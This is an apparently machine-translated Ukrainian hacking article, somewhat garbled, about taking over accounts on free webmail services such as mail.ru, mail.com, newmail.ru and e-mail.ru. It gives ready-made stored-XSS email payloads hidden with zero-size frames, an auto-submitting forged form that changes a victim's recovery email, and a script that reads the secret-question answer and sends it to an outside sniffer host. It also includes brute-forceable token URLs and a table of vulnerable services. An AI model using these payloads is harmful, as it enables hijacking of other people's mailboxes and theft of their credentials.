ОГЛЯД вразливих БЕЗКОШТОВНИХ ПОШТОВИХ СЕРВІСІВ

Продовжуємо займатися web-поштою. Я провів невелике дослідження різних служб на предмет злому і представляю вашій увазі результати. Технологія атаки залишається колишньою: на чужу адресу надсилається лист з JavaScript-кодом, який спрацьовує при відкритті листа, і змінює будь-яку інформацію в налаштуваннях скриньки користувача. Немає сенсу докладно описувати кожен сервер, так як підхід всюди однаковий, тому наведу кілька прикладів, а в кінці - таблицю. У більшості випадків злом можна вважати 100% -ним, з деякими припущеннями: користувач повинен обов'язково використовувати web-інтерфейс для читання листів, при написанні експлойтів я орієнтувався на стандартну платформу, тобто спочатку припускаю, що у користувача не якась там екзотична ОС або браузер з відключеним виконанням JS.

WWW.MAIL.RU

Почну з пошти №1 в Росії. На даний момент, завдяки пропускання JavaScript і одну помилку розробників, злом цього ящика здійснити можна. Вважаю, що основні принципи загальновідомі. Як отримати пароль? 1 - несанкціоновано змінити його. Не мине, потрібно знати раніше встановлений. 2 - поміняти секретне питання і скористатися службою боротьби з амнезією. Теж не пройде. 3 - встановити свій альтернативний Email, щоб отримати на нього новий, згенерований системою пароль. Чи не вийде, останні дві вишеперчісленних опції знаходяться в одній формі і також захищені паролем. Навіть інші, що представляють для нас менший інтерес настройки (Ім'я, прізвище і тд) тепер без введення поточного пароля змінити не вдасться. Здавалося б варіантів немає. Проте є такий другорядний за важливістю, непримітний розділ налаштувань "Контактна інформація" (ICQ, сайт, телефон, місце роботи, часовий пояс і тд). У цьому розділі можна також вказати контактний Email. Весь фокус у тому, що при цьому в реєстраційній інформації альтернативну адресу змінюється але той, що прописаний в анкеті, і тепер можна отримати пароль на мило, скориставшись службою нагадування. Все просто. URL: http://win.mail.ru/cgi-bin/anketa?page=2&[email protected] Правда методом GET зміну налаштувань в ящику mail.ru тепер зробити не можна, тому детально опишу технічну сторону питання.

I. Відсилаємо на потрібний ящик лист з кодом, який згенерує безпосередньо в тілі листа фрейм з посиланням на наш сайт. По можливості скрипт повинен спрацьовувати без будь-якої участі користувача (натискання, клік, наведення мишкою, завантаження зображення і тд):


 <Embed src = "javascript: document.getElementById ( 'xxx'). InnerHTML = '<iframe src = http: //yoursite.yourdomain.ru/yourscript.html> </ iframe>'; this.wav">
 <P id = 'xxx'>
Для того щоб повністю забезпечити працездатність скрипта, а так само маскування, перетворимо:
 <Embed src = "javascript: status = location; document.getElementById ( 'xxx'). InnerHTML = '<iframe src = http: //yoursite.ru/yourscript.html width = 0 height = 0> </ iframe>' ; this.wav "width = 0 height = 0>
 <P id = 'xxx'>
У такому вигляді, коди символів замінюють літери в імені елементів javascript і iframe, і поштовий скрипт не відфільтровує їх. Рядок status = location; створює в рядку стану видимість локального URL, щоб стороннє мелькання не викликало підозр. Атрибути width і height, як фрейми, так і embed задаються рівними нулю, і роблять їх невидимими.

II. На ресурсі http://yoursite.ru диспонуємо HTML-документ з формою відправки змінених даних на сервер mail.ru.

Вміст yourscript.html:
 <Form method = "post" action = "http://win.mail.ru/cgi-bin/anketa" name = "anketa"> <br>
 <Input type = "hidden" name = "page" value = "2"> <br>
 <Input type = "hidden" name = "Email" value = "[email protected]"> <br>
 <Input type = "hidden" value = "Зберегти" name = "Save"> <br>
 </ Form> <br>
 <Script> <br>
 document.anketa.submit (); <br>
 </ Script>
Примітки: роботу клієнтської частини скрипта в незміненому вигляді гарантую тільки для IE; форма відправки розміщується на окремому сайті спеціально, щоб "розвантажити" лист.


WWW.MAIL.COM

Тепер дещо інша помилка безпеки, на прикладі http://mail.com. Якщо скористатися службою нагадування пароля, то для його отримання досить ввести правильну відповідь на секретне питання (один з варіантів). Значить ставимо перед собою завдання отримати цю відповідь. Робиться це легко. Коли я зайшов в властивості поштової скриньки і просматрел реєстраційну інформацію, то уідел, що відповідь на секретне питання не приховується, що і дозволяє нам за допомогою JavaScript вважати його значення.

Впроваджуємо скрипт через тег style.
Адреса сторінки з настройками: http://mail01.mail.com/scripts/common/genprofile.cgi
Ім'я форми: profileform
Ім'я поля text з секретним відповіддю: hint_a
У підсумку, щоб вкрасти секретне питання, потрібно викликати сторінку налаштувань, запустити JavaScript, отримати значення document.profileform.hint_a.value, і передати його на сниффер разом з змінного оточуючого середовища REQUEST_UR I.

Готовий варіант:
 <Style> @import url (javascript: document.getElementById ( 'out'). InnerHTML = "<iframe src = http: //mail01.mail.com/scripts/common/genprofile.cgi name = 'zero'% 6FnLoad = `str = document.zero.profileform.hint_a.value; path = 'http: //zero.h12.ru/stat/capt.php?'; document.zero.location = path + str`> </ iframe>" ); </ style>
 <Span id = 'out'> </ span>
У створеному кадрі, де ім'ям zero завантажується сторінка налаштувань. Після закінчення завантаження, обробник OnLoad запускає скрипт зчитування секретного питання, а після, через цей же фрейм відправляє відповідь на сниффер. Тепер досить зайти за адресою http://zero.h12.ru/stat/log.php, і знайти потрібну інформацію в рядку "Host".

WWW.NEWMAIL.RU

На мій погляд, досить популярний поштовик, тому розповім про нього детальніше. Тим більше, що заволодіти чужим аккаунтом на ньому набагато простіше ніж здається на перший погляд. Можна зробити так: відіслати листа зі скриптом, який при запуску отримає session id, сформує потрібні запити, і змінить в настройках значення альтренатівного email (на який потім вишле пароль) і секретного питання і відповіді. Однак, якщо при нагадуванні вказати будь-який інший адресу, пароль вишле і на нього, аби секретний відповідь була правильною. І наступне спостереження: session id для зміни налаштувань можна ВЗАГАЛІ не використовувати. Плюс до всього, дозволені будь-які теги. Все вищеописане зводить обсяг коду до пари рядків:
 <Iframe src = http: //newmail.ru/users/chpass.dhtml? Cp_msg = 1 & cp_quest = ПИТАННЯ & cp_answ = ВІДПОВІДЬ width = 0 height = 0> </ iframe> 

WWW.E-MAIL.RU

Метод злому e-mail.ru дещо не вписується в загальну тематику статті, але все ж - пошта :) . Коли мені було потрібно отримати пароль від одного ящика, я як зазвичай зареєстрував собі аккаунт і почав досліджувати систему. Перше, що впало в очі - можливість встановити новий пароль і секретне питання з відповіддю, без введення старого пароля. План дій звичайний: перевірити фільтрацію тегів, отримати ID і виконати запит. Однак для зміни налаштувань використовувалася спеціальна змінна utoken, яка міститься в тілі документа. Поекспериментувавши зі зміною питання і відповіді із заздалегідь відомою utoken:
http://www.e-mail.ru/scripts/netauth.dll?cmd=passwd2&show=passwd.tpl&[email protected]&show=passwd.tpl&pass=&repass=&pquestion=ВОПРОС&panswer=ОТВЕТ я прийшов до висновку, що ID і cookies для зміни налаштувань не потрібно. При цьому, після спостереження за utoken, виявилося що чотиризначний шестнадцатиричное число після адреси пошти [email protected] лежить в дуже вузькому діапазоні. А саме, щоб встановити секретний питання з відповіддю на будь-яку відповідну нас ящику, потрібно перебрати всього 7 варіантів: 5a00, 5b00, 5c00, 5d00, 5e00, 5f00, 6000. Коли число буде вгадано, ми потрапимо в потрібний ящик.

Примітки: на даний момент відбулися деякі зміни. Служба відновлення паролів не працює, тому доцільно відразу його змінювати. Адреса зміни настройки теж змінився:
http://www.e-mail.ru/scripts/netauth.dll?cmd=passwd2&show=passwd.tpl&[email protected]&[email protected]&show=passwd.tpl&pass=&repass=&pquestion=ВОПРОС&panswer=ОТВЕТ Спосіб працює не завжди. Ймовірно, все-таки потрібно, щоб користувач час від часу заходив в пошту через web.

Таблиця з характеристиками безкоштовних WWW-серверів

СЕРВЕР JavaScript Вразливість
www.km.ru
km.ru
img src = javascript: Дозволяє прочитати пароль зі сторінки налаштувань з поля password
www.mail.ru
inbox.ru , bk.ru , list.ru ,
embed src = javascript: Можна змінити альтернативний email
www.mail.com
email.com , post.com , myself.com , consultant.com і ін.
@ Import url (javascript:); В налаштуваннях показаний відповідь на секретне питання
www.newmail.ru
nm.ru , hotmail.ru , orc.ru , nightmail.ru
Будь-яким методом Прочитати / змінити питання і відповідь. Пароль видається діючий
www.netman.ru і www.mailgate.ru
один і той же поштовик. близько 80 доменів
img src = javascript:, style = background: url (javascript:) Можна вкрасти відповідь на секретне питання, якщо він встановлений. Також можливо устновіть адреса для пересилки (копії не зберігаються)
www.yandex.ru OnError, OnLoad Видалення сайту * .narod.ru (JS не потрібно)
www.ukr.net embed src = javasc
ript: this .wav>
Прочитуємо відповідь на секретне питання
www.nextmail.ru
xaker.ru , email.su , russian.ru , students.ru , programist.ru , designer.ru , mail2k.ru ,
embed src = "javascript: Поміняти / вкрасти відповідь на секретне питання
www.hotbox.ru
pochta.ru , pisem.net , fromru.com , land.ru , і ін.
багатьма способами Видалення акаунта
www.rin.ru embed src = javascript: Прочитати секретний відповідь